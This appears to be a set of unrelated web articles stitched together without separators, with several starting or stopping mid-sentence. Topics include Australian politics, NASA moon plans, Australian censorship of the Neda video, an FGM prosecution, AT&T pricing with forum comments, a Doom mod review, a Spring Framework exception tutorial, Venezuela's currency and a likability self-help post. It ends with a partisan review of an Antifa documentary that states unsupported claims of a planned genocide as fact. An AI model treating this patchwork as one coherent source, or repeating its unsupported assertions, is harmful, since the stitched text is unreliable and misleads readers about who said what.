Nothing has changed, nothing has improved. One Nation is, as it has always been, about as sophisticated as a “Fuck Off We’re Full” bumper sticker. Now as ever, their positions are a grab bag of far right enthusiasms, and their ranks full of the kind of folks who scan the sky for black helicopters, or think we’re months away from the imposition of Sharia law.
What has changed is the sea they swim in.
Australian politics has gradually been remodelled along Hansonist lines, so that they are no longer the outliers they might once have been.
There was, in recent days, some preliminary lauding of John Howard as the WA election approached, regarding his noble refusal to preference them during his time in office. Howard himself scuppered all that yesterday, saying “everyone changes in 16 years”. In promoting this self-serving nonsense, Howard highlighted how thoroughly opportunistic he has always been in his dealings with the party. He spent his entire prime ministership dog-whistling to the One Nation faithful, while he let people like Tony Abbott do the dirty work of destroying them.
Pauline Hanson is back, and it's still just as hard to counter her rhetoric with facts Read more
From 2001 this took the form of transforming refugee arrivals into a first-order political issue, enthusiastically participating in the war on terror, and the illegal invasion of Iraq, and turning Australia into a mini-me version of the US security state.
He unashamedly used all of these issues to drag the Liberal Party right, and to carry out the early stages of battering the Labor Party into its current state of meek submission on “border security”.
Race is now at the centre of Australian politics, and politicised Islamophobia flourishes, with the Senate holding inquiries into halal food, and LNP MPs like George Christensen attending fund raisers for groups with anti-Islam agendas.
Given that Hansonist views on Aboriginal welfare and multiculturalism are now part of the fabric of conservative common sense, it’s difficult to see how she would now even be disendorsed as a Liberal for the kind of comments she made back in 1996.
Pauline Hanson hasn’t changed. Australia has.This July 20, 1969 photo shows astronaut Edwin E. Aldrin Jr. walking on the surface of the moon near the leg of the Lunar Module. AFP PHOTO / NASA/Getty Images
NASA has struggled for decades with strategic uncertainty, and there's nothing like a partisan transition in the White House to discombobulate everyone. There will surely be a new administrator, and new ambitions, and disfavored programs, with associated budget cuts (Earth Science is a likely target).
Right this minute, though, no one seems to know what's going to happen with America's civilian space agency. The chaotic Trump transition operation has yet to send a delegation to NASA headquarters. NASA's in-house transition team is standing by, and you can imagine that people are getting a bit jittery. There are deadlines to meet. Everything's in a holding pattern.
In the spirit of promiscuous speculation, we will float this notion: The moon is back!
With Donald Trump as president-elect, moon-colony-loving Newt Gingrich hovering close at hand, and Republicans controlling both houses of Congress, NASA may soon be told to get ready to do what it already did back in the 1960s and '70s — put people on the moon, this time to stay.
There's a saying: The moon is a red destination, an asteroid is a blue destination.
[From the archive: Newt Gingrich on the stump lays out his vision of a moon colony]
“It is very plausible to speculate that the new administration will insert a mission to the lunar surface, probably international in character, as a step on the way to Mars,” John Logsdon, the dean of space policy analysts, told The Washington Post. “Politically, most of the other countries of the world have identified the moon as an interesting destination, and they don’t really have the capabilities to talk about sending people to Mars. If we want to assert international leadership, we would take a position in leading a coalition to return to the moon.” This is a competitive field. Europe, Japan, Russia and China have all expressed interest in crewed missions to the lunar surface sometime in the next two decades.
One of the people mentioned in news reports as a potential NASA administrator is Rep. James Bridenstine, Republican from Oklahoma, who earlier this year drafted legislation he calls the American Space Renaissance Act. He's called for a return to the moon as part of sweeping reforms at NASA. Bridenstine has also been mentioned as a potential secretary of the Air Force. In a written statement released by his press office, Bridenstine said: “At this point, it is speculation as far as I know.”
Eric Berger at Ars Technica has more on the insider-outsider possibilities for the top NASA job. Keith Cowing at NASAWatch also weighs in with an online game to guess the next NASA chief. Bridenstine would be an outsider, but many Republicans might prefer Scott Pace, a former NASA political appointee under President George W. Bush. Pace succeeded Logsdon as director of George Washington University Space Policy Institute. In a radio interview on the Diane Rehm Show a while back, Pace advocated a return to the moon:
[T]he reason for that is not simply because I have a fondness for lunar science but because I think it could meet an important international objective, which is bringing other countries along with us, particularly emerging space powers, such as India and — I'll also say it — China, that NASA can and should be a foreign policy tool of the United States. And I think a human return to the moon poses some opportunities for international outreach in ways that asteroid or Mars missions right now cannot.
Some boilerplate background: During the Cold War space race, NASA's Apollo 11 mission in July 1969 succeeded in putting the first men on the moon. Neil Armstrong, Buzz Aldrin and then 10 more American astronauts left boot prints in lunar regolith across six Apollo missions, the last in 1972. No human being has been beyond low Earth orbit since that final moonshot.
[Achenblog: Remembering Neil Armstrong]
NASA now says it is on a “Journey to Mars,” though this is more of a branding exercise for a suite of loosely connected enterprises than a fully integrated and funded program. The agency is building a new, heavy-lift rocket, called the Space Launch System (SLS), and a new crew capsule, Orion, both of which could be part of a Mars-mission architecture. President Obama in a recent op-ed reiterated NASA's stated goal of sending humans to Mars in the 2030s. Agency officials envision an orbital mission first. (SpaceX has its own much more ambitious, but not overwhelmingly plausible, plans for a Mars colony.)
Meanwhile, the moon is still right there, and many people find it still attractive as a target for exploration. George W. Bush vowed to go back to the moon, and his administration put together a program, Constellation, that foresaw another moon landing in 2020. Obama killed Constellation, saying been there, done that. Congress, however, kept elements of the Constellation package — that big rocket, that new capsule — and so billions of dollars are being spent on hardware that should be ready for launch in the next couple of years. Where to go?
Obama's team decided that NASA should visit an asteroid in its natural orbit. That proved harder than expected, so the agency shifted gears, saying it would capture an asteroid and haul it back to lunar orbit. The latest plan is to wrench a boulder off a known asteroid. House Republicans hate the Asteroid Redirect Mission (ARM) and have language in an appropriations bill that would prevent NASA from spending any money on such a mission. Jeff Foust on Spacenews.com reports that NASA officials continue to push for ARM funding as a necessary element of long-term Mars exploration. [Update: Casey Dreier of The Planetary Society writes of ARM, "I predict this mission is almost certainly over.” See also Nadia Drake's take on all this at National Geographic.]
[My chat with Buzz Aldrin]
Here's the key factoid: Because Congress preserved elements of Constellation, it could be revived under a new administration. NASA has the SLS and the Orion, and to get to the surface of the moon it would just need a lunar lander, maybe paid for, at least partially, by international partners. And NASA has already been talking about missions in orbit around the moon in the 2020s. The veterans who run human spaceflight at NASA put themselves in a good position to re-pivot to the moon if that became politically mandated.
NASA headquarters has been preparing for the transition for months, but the Trump team has gone through upheaval, with Chris Christie and his folks ousted. It appears Trump's NASA transition efforts are being led by Mark Albrecht, who was associated with the first President Bush's ill-fated Space Exploration Initiative of 1989 (fleets of spaceships, a moon base, Mars, the whole kit and kaboodle, shot down when rumors spread that it would cost a gazillion dollars).
And then there's Gingrich. He's made a fortune since leaving elected office and isn't going to take a pay cut to be in the new administration, but he's got Trump's ear and is a stalwart moon guy. Recall that when he ran for president four years ago, and was riding high in the polls in advance of the Florida primary, he used his moment in the spotlight to make a stemwinder of a speech about the need to establish a permanent moon colony and explore the solar system.
He mentioned one of his earliest ideas: That when at least 13,000 people live on the moon, they could petition to have statehood. (To which the people of the District of Columbia might well say: Get in line.)
Further Reading: Check out our series of stories on NASA and the future of space exploration, "Destination Unknown.”I want to shout from the rooftops to proclaim a triumph of online journalism. But I can't. I want to show you all a prize-winning piece of video. But I'm banned from doing so; the threat of an $11,000 fine hangs over me and this site.
The George Polk Awards in Journalism are (according to Wikipedia ) "a series of American journalism awards presented annually by Long Island University in New York" which were established in memory of CBS correspondent George Polk, killed in 1947 covering the Greek civil war.
Every year, recipients are recognised in a number of categories ranging from Foreign, legal, Economics and Education Reporting, through Television, Radio and Internet Reporting to Photojournalism.
It is this last category to which I wish to draw attention.
Announcing the 2009 winners, The University states "A reporter who was held captive by the Taliban and an anonymous videographer who filmed the killing of a woman during a protest in Iran are among those honored in 13 categories."
The announcement continues, "The George Polk Award for Videography will recognize the efforts of the people responsible for recording the death of 26-year-old Neda Agha-Soltan at a June protest in Tehran, Iran, and uploading the video to the Internet. Ms. Agha-Soltan reportedly was shot by a pro-government militiaman.
"The video, which shows the woman collapsing to the ground and being attended to by several men as she lay dying on the street, became a rallying point for the reformist opposition in Iran after it was broadcast over the Internet. Seen by millions as it spread virally across the Web, the images quickly gained the attention of international media."
Immediately following this citation, the announcement page includes a link to the video.
It is this link that I cannot show you.
'Why' you ask?
Because this video was submitted to the Australian Communications and Media Authority (ACMA) who requested a determination from the Classification Board.
Based on the Board's decision, ACMA declared the video to be "prohibited content" under clause 20(1)(b) of Schedule 7 to the Broadcasting Services Act 1992.' This means that all known links to the video will find their way onto the Internet Filter blacklist.
And offering a link to the video could result in an $11,000 fine for me and for iTWire.
Quite rightly, we wish to celebrate all of the winners and their winning works, but in this one instance, Australians will simply have to take my word that this is a worthy winner of the prize.
Alternately, readers might just have to find the video for themselves (and break the law doing so).
This is a crucially important piece of video which will be seen and recognised as such throughout the world, but (officially) not in Australia. Perhaps we should go out on a limb and praise this instead. After-all, soon it will be the toughest material we'll be permitted to see.
Our Federal Government must be made to understand the foolishness of their Internet Filter proposal. Concerned citizens should consider joining the Australia-wide rallies to protest the Filter on March 6th.
"All censorships exist to prevent any one from challenging current conceptions and existing institutions. All progress is initiated by challenging current conceptions, and executed by supplanting existing institutions. Consequently the first condition of progress is the removal of censorships." - George Bernard Shaw (1856 - 1950)
"Censorship reflects a society's lack of confidence in itself." - Potter Stewart (1915 - 1985)
"We are willing enough to praise freedom when she is safely tucked away in the past and cannot be a nuisance. In the present, amidst dangers whose outcome we cannot foresee, we get nervous about her, and admit censorship." - E. M. Forster (1879 - 1970)A Michigan grand jury recently indicted two Michigan doctors and a medical office manager for allegedly removing part of young girls’ clitorises. Shannon Smith, an attorney for Dr. Jumana Nagarwala argued that her client was being persecuted for her religion and it was part of a “religious practice” for the community.
The head of a Christian legal organization explained to The Daily Caller News Foundation why the religious freedom clause does not apply in the case of female genital mutilation, and will likely fail to provide legal cover in these cases.
“It’s not an absolute right that just because someone has a religious belief, they’re protected to do it. And it’s subject to when there’s a compelling state interest to the contrary,” Brad Dacus, head of the Pacific Justice Institute, explained to The DCNF.
The court usually allows religious accommodations in medical situations, Dacus went on, but not if the medical procedure permanently harms a person or causes death.
“Here, we are dealing with women who are having a procedure on their body that has no medical justification and in fact, is harmful to their body,” Dacus said to The DCNF.
Female genital mutilation performers usually try to justify their practice by comparing it to male circumcision. There are, however, no similarities between the two procedures, Dacus said.
“Male circumcision has actually proven established medical benefits to the individual as well as to their future mate. It doesn’t inhibit the function of the organ and it doesn’t deprive the male the pleasure associated with sexual intimacy,” Dacus explained. Female genital mutilation doesn’t meet those standards, Dacus added.
Ayaan Hirsi Ali, a refugee and female genital mutilation survivor, explained the five types of mutilation and the intense trauma that comes with it in a Friday op-ed.
“The aim of FGM in all its forms is to control female sexuality. The clitoris is removed to take physical pleasure from sex and reduce the libido,” she wrote. “The consequences of FGM are ongoing psychological and physical harms from infections to fistulas and even death.”
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.AT&T's Unlimited Data, TV Bundle Lures 2 Million Users AT&T's seeing notable consumer interest in the company's return to offering unlimited data. AT&T recently announced a return to offering unlimited mobile data -- but only if users signed up for U-Verse TV or DirecTV. Speaking at an investor conference this week, AT&T CFO John Stephens said the company barely needed to advertise the offering, which provides unlimited voice, text and data for $100 per month, plus $40 for each additional smartphone.
"We had 500,000 in the first two weeks of the program, and that was really without any advertising," Stephens told investors at a conference this week. "We've done a little bit of advertising and the number's over 2 million now." AT&T killed unlimited data in 2011, arguing that the option wasn't sustainable. It is, however, apparently sustainable if it helps AT&T upsell users toward buying television packages. "When you think about a customer who's buying our wireless services from us, buying video services from us, and then oftentimes buying broadband services from us, they could be paying us three or four hundred dollars a month," said Stepgens. "We're going to make sure we treat them with the appropriate respect and are giving them a great deal." "When you think about a customer who's buying our wireless services from us, buying video services from us, and then oftentimes buying broadband services from us, they could be paying us three or four hundred dollars a month," said Stepgens. "We're going to make sure we treat them with the appropriate respect and are giving them a great deal."
News Jump Tuesday Morning Links Monday Morning Links TGI Friday Morning Links Thursday Morning Links Wednesday Morning Links Tuesday Morning Links Friday Morning Links Thursday Morning Links - Valentines Edition Wednesday Morning Links Tuesday Morning Links ---------------------- this week last week most discussed
Most recommended from 38 comments
Corporate
join:2014-10-04 9 recommendations Corporate Member Two million subscribers in a few weeks...
»Verizon: The Unlimited Data Model 'Does Not Work' [41] comments Meanwhile, at Verizon... mob (banned)
On the next level..
join:2000-10-07
San Jose, CA 8 recommendations mob (banned) Member Room 641A Remember Kids - ATT has no problem allowing the NSA to siphon up data. mikesco8
join:2006-02-17
Southwick, MA 8 recommendations mikesco8 Member Funny If a consumer is paying AT&T $300 - $400 a month for these services, how is that a good deal? Sounds like they are treating them more like a sucker than treating them with respect.
TIGERON
join:2008-03-11
Boston, MA 1 edit 4 recommendations TIGERON Member A joke all while last mile DSL is slowly being neglected and not expanded to people who want wireline. This is pathetic.
howsthis9999
@2602:100.x 2 recommendations howsthis9999 Anon "unlimited data" A) can possibly be throttled after 22 GB. B) only applies to phone use. zero tethering allowed. which is really the only point of unlimited data on a phone.Introduction
I felt it was time to dive back into the world of doom with a new mod. This time around I wanted to
review something that was reletively a bit more modern. So I decided on "The Darkening," by Jan Van der Veken.
The mod was published on the Doomworld.com site January 07, 1999. The mod almost acts as a custome retelling of Doom II. I personally enjoyed it even though there were a few things that annoyed me, but we will cover that in the next few sections.
Level Design
Running through the first map I found myself wanting to explore everything and figure out where all
the secrets where. The design choices were refreshing and definitely keeped me interest enough to keep playing. In fact, the levels where all very uniquely designed that I could not wait to reach the next area of map. Being a Doom modder myself I definely took note of some design choices that I could use as inspiration for when I finish my mod.
The middle maps however, seem kind of simple and very very open. Some other maps the puzzles were a bit confusing.On one of the Maps there are eyes on the wall that act as switches and I did not realize that. I mean, I would destroyed every single enemy on the map and still could not figure out how to end the level (by the way, not all exits are Exit Doors). On these maps it roughly took me an extra 10 minutes to figure out.
But if you stick with it, the level design picks back up toward the end!
Other issues I had with the game was trying not to use the 'Jump' key. Since the mod was developed back in 1999 some maps you can just jump out the window toward the exit door.
Enemy placement is by far one of the best I have seen.I will discuss more about it in the gameplay section.
Gameplay
This is where the game shines!! So many enemies!! So many Allies to save and take out bosses with!!!
So many jump scares!!! So much blood!!! Lets just say this now, Brutal Doom makes everything better!! I found myself too many times in a cocoon of false security only to get hit by four Revenant at one time. Every time I felt I had a bit insight the developers I get hit by a half dozen Spectres.I was unloading missles, using lame throwers, and tossing grenades like crazy.
Music
Cannot argue or say much here. Nothing custom. Just the awesome Doom II tracks we all know and love.
Replayability
This Mod is not something I would see myself playing more than twice. Only because some of the levels
just annoyed me with their "find the impossible exit."Photo: Bill Pugliano/ Getty Images.
Tesla is suing an oil executive for allegedly impersonating Elon Musk in order to dig up confidential financial information from the company, Forbes reported.
The lawsuit reportedly filed Wednesday in the Superior Court of Santa Clara County claimed Todd Katz, chief financial officer for Quest Integrity Group, emailed Tesla’s chief financial officer under a similar email as Musk’s looking to gain information that wasn’t disclosed in an earnings call with investors.
Quest Integrity Group has partnerships with BP, Chevron and ExxonMobil, the report said.
According to the lawsuit, Katz used “[email protected]” to send an email to Tesla CFO Jason Wheeler asking about company’s sales number and financial projections.
“The point of this action is that this was perceived as an effort to gain inside information, non-public information,” said John Hueston, a Los Angeles-based attorney representing the electronic-car-maker.
“Although it was caught here, Tesla is worried about this happening in some other form. This could have resulted in highly valuable information being improperly disclosed,” he said.
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IN September 2015 Private Eye created an easily searchable online map (see below) of properties in England and Wales owned by offshore companies. It reveals for the first time the extent of the British property interests of companies based in tax havens from Panama to Luxembourg, and from Liechtenstein to the South Pacific island of Niue. Most are held in this way for tax avoidance and often to conceal dubious wealth.
Using Land Registry data released under Freedom of Information laws, and then linking around 100,000 land title register entries to specific addresses, the Eye has mapped all leasehold and freehold interests acquired by offshore companies between 2005 and 2014.
Using this data the Eye published a series of exposes of the companies, arms dealers, oligarchs, money launderers and others who use offshore companies. Now Private Eye, using the same data, is also publishing a database of all properties acquired by offshore companies from 1999 to 2014, showing the address, the offshore corporate owners (some have more than one) and, where available, the price paid.
MAP AND DATABASE - THE SMALL PRINT: The map shows all land and property registered in England and Wales in the name of an offshore company between 2005 and July 2014. It uses data released following Freedom of Information requests from Private Eye and expert work by software engineer Anna Powell-Smith. The map shows all land and property registered in England and Wales in the name of an offshore company between 2005 and July 2014. It uses data released following Freedom of Information requests from Private Eye and expert work by software engineer Anna Powell-Smith. Freehold properties are indicated by orange shapes covering the exact area of the property. Leasehold properties are shown by purple pin points. The map includes properties owned by any overseas company, not just those based in tax havens, sometimes for legitimate reasons. Even the freehold on the saintly Eye's premises, owned by an Australian company, appears. Highlighting an individual property's details also provides a link to email the Eye with any further information readers may have about the property. In the database, where a property interest has more than one owner or "proprietor", each is listed separately, so the same property may appear more than once. All data is from Land Registry records, which occasionally contain errors. "Price paid" figures may be totals for sales including other properties. When a property title has been identified, the underlying Land Registry record can be obtained for a £3 fee from www.gov.uk/search-property-information-land-registry. © Crown copyright Ordnance Survey
D-Day for data
SIX months after the Eye launched its interactive online map and just as it makes its full database available the government has finally ambled |
"That's basically the sign of being an old blood clot turning into scar tissue and growing into the side of the veins in your stomach, which is part of my anatomy right now. It's just something you just live with. Your body finds different ways to fix broken stuff inside you," Vokoun said.
Vokoun was only 10 months old when he grabbed a tablecloth, dumping hot coffee on himself. The blood clot is in his right groin, near where doctors inserted a catheter during his treatment as a baby.
"It's just a part of me right now," Vokoun said. "They're not primed to break loose or anything. They're just scar tissue right now, and they're stable."
That's scary stuff, and first off we obviously just hope that Vokoun is OK and able to have a normal and healthy life.
But the season is still going to start in two weeks and a big takeaway is that Vokoun had to be on blood thinners for three months. If there's a similar time-table this time, that would have him out for a significant chunk of the season, since a player taking blood thinners can't be practicing or playing ice hockey.
The Pens say for now that they will let Jeff Zatkoff have a chance to be the #2 guy, but appearing in the NHL in a regular season game would be uncharted waters for the 26 year old goalie who's spent his whole professional career at the AHL level.
We'll watch and wait what happens to Vokoun, and how stable starter Marc-Andre Fleury will be...But for the Penguins, their stable goaltending situation has definitely been thrown into a state of disarray right now with the news that their veteran backup is on the shelf for an unknown amount of time.1. Overview
In this article, we are discussing the Spring org.springframework.beans.factory.NoSuchBeanDefinitionException – this is a common exception thrown by the BeanFactory when trying to resolve a bean that simply isn’t defined in the Spring Context.
We’ll illustrate the possible causes for this problem and the available solutions.
And of course, exceptions happen when you least expect them; have a look at the full list of exceptions and solutions in Spring.
Further reading: Spring Exceptions Tutorial Some of the most common exceptions in Spring with examples - why they occur and how to solve them quickly. Read more → Spring BeanCreationException A quick and practical guide to dealing with different causes of Spring BeanCreationException Read more →
2. Cause: No qualifying bean of type […] found for dependency
The most common cause of this exception is simply trying to inject a bean that isn’t defined. For example – BeanB is wiring in a collaborator – BeanA:
@Component public class BeanA { @Autowired private BeanB dependency; //... }
Now, if the dependency – BeanB – is not defined in the Spring Context, the bootstrap process will fail with the no such bean definition exception:
org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type [org.baeldung.packageB.BeanB] found for dependency: expected at least 1 bean which qualifies as autowire candidate for this dependency. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)}
The reason is clearly indicated by Spring: “expected at least 1 bean which qualifies as autowire candidate for this dependency“
One reason BeanB may not exist in the context – if beans are picked up automatically by classpath scanning, and if BeanB is correctly annotated as a bean (@Component, @Repository, @Service, @Controller, etc) – is that it may be defined in a package that is not scanned by Spring:
package org.baeldung.packageB; @Component public class BeanB {...}
While the classpath scanning may be configured as follows:
@Configuration @ComponentScan("org.baeldung.packageA") public class ContextWithJavaConfig {... }
If beans are not automatically scanned by instead defined manually, then BeanB is simply not defined in the current Spring Context.
3. Cause: Field […] in […] required a bean of type […] that could not be found
In a Spring Boot application for the above scenario, we get a different message.
Let’s take the same example where BeanB is wired in BeanA but it’s not defined:
@Component public class BeanA { @Autowired private BeanB dependency; //... }
If we try to run this simple application, that tries to load BeanA:
@SpringBootApplication public class NoSuchBeanDefinitionDemoApp { public static void main(String[] args) { SpringApplication.run(NoSuchBeanDefinitionDemoApp.class, args); } }
The application will fail to start with the error message:
*************************** APPLICATION FAILED TO START *************************** Description: Field dependency in com.baeldung.springbootmvc.nosuchbeandefinitionexception.BeanA required a bean of type 'com.baeldung.springbootmvc.nosuchbeandefinitionexception.BeanB' that could not be found. Action: Consider defining a bean of type 'com.baeldung.springbootmvc.nosuchbeandefinitionexception.BeanB' in your configuration.
Here, com.baeldung.springbootmvc.nosuchbeandefinitionexception is the package for BeanA, BeanB and NoSuchBeanDefinitionDemoApp.
The snippet for this example can be found in this Github project.
4. Cause: No qualifying bean of type […] is defined
Another cause for the exception is the existence of two bean definitions in the context, instead of one. For example, if an interface – IBeanB is implemented by two beans – BeanB1 and BeanB2:
@Component public class BeanB1 implements IBeanB { // } @Component public class BeanB2 implements IBeanB { // }
Now, if BeanA autowires this interface, Spring will not know which one of the two implementations to inject:
@Component public class BeanA { @Autowired private IBeanB dependency;... }
And again, this will result in a NoSuchBeanDefinitionException being thrown by the BeanFactory:
Caused by: org.springframework.beans.factory.NoUniqueBeanDefinitionException: No qualifying bean of type [org.baeldung.packageB.IBeanB] is defined: expected single matching bean but found 2: beanB1,beanB2
Similarly, Spring clearly indicates the reason for the wiring failure: “expected single matching bean but found 2”.
Notice, however, that in this case, the exact exception being thrown is not NoSuchBeanDefinitionException but a subclass – the NoUniqueBeanDefinitionException. This new exception has been introduced in Spring 3.2.1, for exactly this reason – to differentiate between the cause where no bean definition was found and this one – where several definitions are found in the context.
Before this change, the exception above was:
Caused by: org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type [org.baeldung.packageB.IBeanB] is defined: expected single matching bean but found 2: beanB1,beanB2
One solution to this problem is to use the @Qualifier annotation to specify exactly the name of the bean we want to wire:
@Component public class BeanA { @Autowired @Qualifier("beanB2") private IBeanB dependency;... }
Now Spring has enough information to make the decision of which bean to inject – BeanB1 or BeanB2 (the default name of BeanB2 is beanB2).
5. Cause: No Bean Named […] is defined
A NoSuchBeanDefinitionException may also be thrown when a bean that isn’t defined is requested by name from the Spring context:
@Component public class BeanA implements InitializingBean { @Autowired private ApplicationContext context; @Override public void afterPropertiesSet() { context.getBean("someBeanName"); } }
In this case, there is no bean definition for “someBeanName” – leading to the following exception:
Caused by: org.springframework.beans.factory.NoSuchBeanDefinitionException: No bean named'someBeanName' is defined
Again, Spring clearly and concisely indicates the reason for the failure: “No bean named X is defined“.
6. Cause: Proxied Beans
When a bean in the context is proxied using the JDK Dynamic Proxy mechanism, then the proxy will not extend the target bean (it will, however, implement the same interfaces).
Because of this, if the bean is injected by an interface, it will be correctly wired in. If however the bean is injected by the actual class, then Spring will not find a bean definition that matches the class – since the proxy does not actually extend the class.
A very common reason the bean may be proxied is the Spring transactional support – namely beans that are annotated with @Transactional.
For example, if ServiceA injects ServiceB, and both services are transactional, injecting by the class definition will not work:
@Service @Transactional public class ServiceA implements IServiceA{ @Autowired private ServiceB serviceB;... } @Service @Transactional public class ServiceB implements IServiceB{... }
The same two services, this time correctly injecting by the interface, will be OK:
@Service @Transactional public class ServiceA implements IServiceA{ @Autowired private IServiceB serviceB;... } @Service @Transactional public class ServiceB implements IServiceB{... }
7. Conclusion
This tutorial discussed examples of the possible causes for the common NoSuchBeanDefinitionException – with a focus on how to address these exceptions in practice.
The implementation of all these exceptions examples can be found in the GitHub project – this is an Eclipse based project, so it should be easy to import and run as it is.
Finally, the full list of exceptions and solutions in Spring might be a good resource to bookmark.CARACAS (Reuters) - Venezuelan President Nicolas Maduro said on Thursday his cash-strapped country would seek to “free” itself from the U.S. dollar next week, using the weakest of two official foreign exchange regimes and a basket of currencies.
Venezuela's President Nicolas Maduro (C) gestures as he speaks during a session of the National Constituent Assembly at Palacio Federal Legislativo in Caracas, Venezuela September 7, 2017. Miraflores Palace/Handout via REUTERS
Maduro was refering to Venezuela’s “DICOM” official exchange rate in which the dollar buys 3,345 bolivars, according to the central bank.
At the strongest official rate, one dollar buys just 10 bolivars, but on the black market the dollar fetches 20,193 bolivars, a spread versus the official rate that economists say has fostered corruption.
A thousand dollars of local currency bought when Maduro came to power in 2013 would now be worth $1.20.
“Venezuela is going to implement a new system of international payments and will create a basket of currencies to free us from the dollar,” Maduro said in an hours-long address to a new legislative superbody, without providing details of the new mechanism.
“If they pursue us with the dollar, we’ll use the Russian ruble, the yuan, yen, the Indian rupee, the euro,” Maduro said.
The oil-rich nation is undergoing a major economic and social crisis, with millions suffering food and medicine shortages and what is believed to be the world’s highest inflation.
Monthly inflation quickened to 34 percent, according to the opposition-controlled National Assembly.
Critics say that instead of overhauling Venezuela’s failing currency controls or enacting reforms to shake the economy out of a fourth straight year of recession, Maduro has dug in and increased controls.
On Thursday night, he increased the country’s minimum wage by 40 percent, taking it to just over $7 per month at the black market exchange rate. He also announced that around 50 “essential” products and services would have their prices frozen at new levels, auguring higher inflation and more shortages.
“Hurricane Maduro. He destroys everything wherever he goes,” opposition leader Henrique Capriles said on Twitter.
Maduro’s government has been condemned as a dictatorship by a string of regional and European countries, isolating the leftist leader elected four years ago to replace Hugo Chavez.
U.S. President Donald Trump signed an executive order last month that prohibits Americans from dealing in new debt issued by the Venezuelan government or its state oil company in an effort to halt financing.
Maduro says this is part of an “economic war” waged by the opposition and Washington, with the aim of ousting his unpopular government.
“This is the fight against the economic blockade of the imperial sanctions of (U.S. President Donald) Trump,” said Maduro.Back in school, I tried out different ways to connect with people.
I was sure that for people to like me, I had to stand out. You know – show that I was better than the average joe.
For example, when I started an import business and had some early success I assumed that it would make me more likable. But talking about my business and my success turned people OFF.
Ironically, my urge to be popular, liked, and admired pushed others away from me.
Connecting with people is counter-intuitive.
Finally, I realized how to be more likable. (It took me 8 years to figure it out.)
Socially successful people don’t try to make people like them. Instead, they make people like being around them.
What’s the difference?
The entire idea of trying to make people like US is self-absorbed:
We want to be liked and admired, but we forget about if we’re nice to be around.
This self-focus also makes us more self-conscious and anxious. (Read my guide on how to not be nervous around people here.)
If you’ve ever had a voice in your head asking you “What will people think of me?” you know what I’m talking about.
Here are some examples of trying to make people like us versus making people like being around us: (Click image to enlarge)
Here are the takeaways from the chart above:
People want to be around those who acknowledge them and listen to them; not those who just wait for people to be done talking so they can talk. People want to be around those who share stories to create an enjoyable moment; not those who share stories to make themselves look good. People want to be around those who like them and accept them as they are; not those who try to play it cool.
Studies show that what makes us likable isn’t about being superior to others. It’s about being relatable.(1)
Not just that.
When we shift our attention away from ourselves we become less self-conscious. That makes us more confident and relaxed in social settings.(2)
Lesson learned:
Often, trying to be likable just makes us more self-conscious and less likable.
I call this the likability paradox.
When we instead focus on making people like being around; we become more likable.
Don’t try to make people like you. Make people like being around you.
Have you ever done something you thought would be likable that didn’t work? I’m curious to know in the comments!"To lose one MP may be regarded as misfortune, to lose two looks like carelessness."
Remember all those Wildean-gags made at the expense of the Greens after a teary Larissa Waters was forced to resign from the Senate due to her Canadian citizenship? It came just a few days after the Greens' other co-deputy leader, Scott Ludlam, was forced to resign over his New Zealand citizenship, and made the Greens a laughing stock.
Prime Minister Malcolm Turnbull was unsympathetic. "It shows incredible sloppiness on their part," he said of Ludlam. "You know, when you nominate for Parliament, there is actually a question — you have got to address that section 44 question and you've got to tick the box and confirm that you are not a citizen of another country."
But it turns out that such carelessness was not isolated to the Greens. It is now clear there has been a widespread failure among candidates to meet the requirements of our constitution.New Zealander Trevor Loudon has done it again, producing an extraordinary, hard-hitting, timely documentary about a subject crucially important to America’s survival.
The target of his just-released video is “Antifa,” which is the name adopted by the violent mobs of masked, black-clad anarchist/communist thugs that have been rampaging throughout America for the past year. If the American media (New York Times, Huffington Post, CNN, NBC, PBS, etc.) were doing their job, Mr. Loudon’s would be unnecessary. As it is, the so-called mainstream media actually have been serving as a cheering section for the Antifa gangsters, as they escalate their campaigns of hate, rioting, burning, property destruction, insurrection, and violent criminal assault.
Like Mr. Loudon’s previous documentaries, his new video, America Under Siege: Antifa, is a must-see exposé, jam-packed with exclusive interviews, important video footage of Antifa violence and Loudon’s own perceptive analysis. (Text continues below the video.)
Although the “Antifa” brand has come to the attention of mainstream America only in the past year or so, with its primary focus on Donald Trump (first, when he was a candidate and, now, as president), Antifa’s roots, both in America and in Europe, go back decades to communist parties and terrorist organizations. While professing to be “anti-fascist,” the Antifa storm troopers employ fascist/communist tactics — including death threats and physical beatings to intimidate and silence all opposition to their communist agenda. Mr. Loudon does an excellent job, in the brief time available, in providing the historical backdrop for Antifa in Russia, England, Italy, and elsewhere.
Among those whom Loudon interviews are a number of conservative/libertarian commentators who have recently gone up against Antifa mob violence: Gavin McInnes, Milo Yiannopoulos, Lauren Southern, Jack Posobiec, Steve Deace, and Lindsay Grathwohl, the daughter of the late Larry Grathwohl, who was the FBI’s most important undercover operative inside the Weather Underground terrorist group during the 1970s. Mr. Grathwohl’s extraordinary exploits as a top-level member of the group first gained widespread public notice with the 1982 video documentary No Place to Hide: The Strategy and Tactics of Terrorism, produced by Congressman Lawrence P. McDonald’s Western Goals Foundation. In that video, Larry Grathwohl described meetings in which he sat with top Weather Underground leadership, as they discussed the necessity of executing 25 million Americans, once their planned communist regime came to power. Some of those deadly radicals — such as Bill Ayers and Bernadine Dohrn — went on to become professors at leading universities. Ayers, Dohrn, and fellow aging comrades from the Weather Underground, SDS, Black Panthers, Communist Party USA, and Revolutionary Communist Party provide the models (and in many cases the actual leadership for) the current Antifa crop of violent revolutionaries.
As a journalist, and as a researcher for Dr. McDonald and the Western Goals Foundation, during the 1970s and early 1980s, I also went undercover inside the Communist Party USA, Revolutionary Communist Party, Socialist Workers Party, Workers World Party, and the radical student organizations that were feeder groups for the organized communists. What we are witnessing today with the rise of Antifa is a recreation of the atmosphere and the network of subversive organizations similar to that of the 1960s, ’70s, and ’80s, that is part of an integral plan for a new phase of “the revolution.” They have literally declared war on America, as many of the Antifa banners openly, defiantly state. They intend to cause such chaos that America will become “ungovernable,” leading (they hope) to the overthrow of our constitutional system (which they say is racist and fascist) and the establishment of an anarchist-communist dictatorship.
If the politicians, media organizations, and tax-exempt foundations that are providing critical support and protection to the Antifa thugs are not exposed and stopped, the Antifa violence will continue to escalate, until they become the equivalent of Mao Zedong’s murderous Red Guards, and can carry out the same genocidal program here in America. That must not be allowed to happen.
